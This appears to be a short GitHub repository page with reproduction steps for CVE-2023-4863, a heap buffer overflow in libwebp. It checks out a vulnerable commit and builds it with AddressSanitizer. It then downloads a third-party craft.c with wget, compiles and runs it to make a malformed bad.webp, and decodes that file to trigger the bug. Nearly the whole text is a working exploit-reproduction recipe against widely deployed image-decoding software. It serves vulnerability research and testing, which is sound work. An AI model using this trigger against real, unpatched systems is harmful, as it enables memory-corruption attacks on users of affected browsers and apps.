bbaranoff/cve-2023-4863Exploit de prueba de concepto para CVE-2023-4863, un desbordamiento de búfer de montón en libwebp, que demuestra el desencadenamiento del fallo y los pasos de reproducción con AddressSanitizer.
# checkout webp
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
# checkout vulnerable version
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
# enable AddressSanitizer
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
# build webp
make -f makefile.unix
cd examples/
# fetch mistymntncop's proof-of-concept code
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
# build and run proof-of-concept
gcc -o craft craft.c
./craft bad.webp
# test trigger file
./dwebp bad.webp -o test.png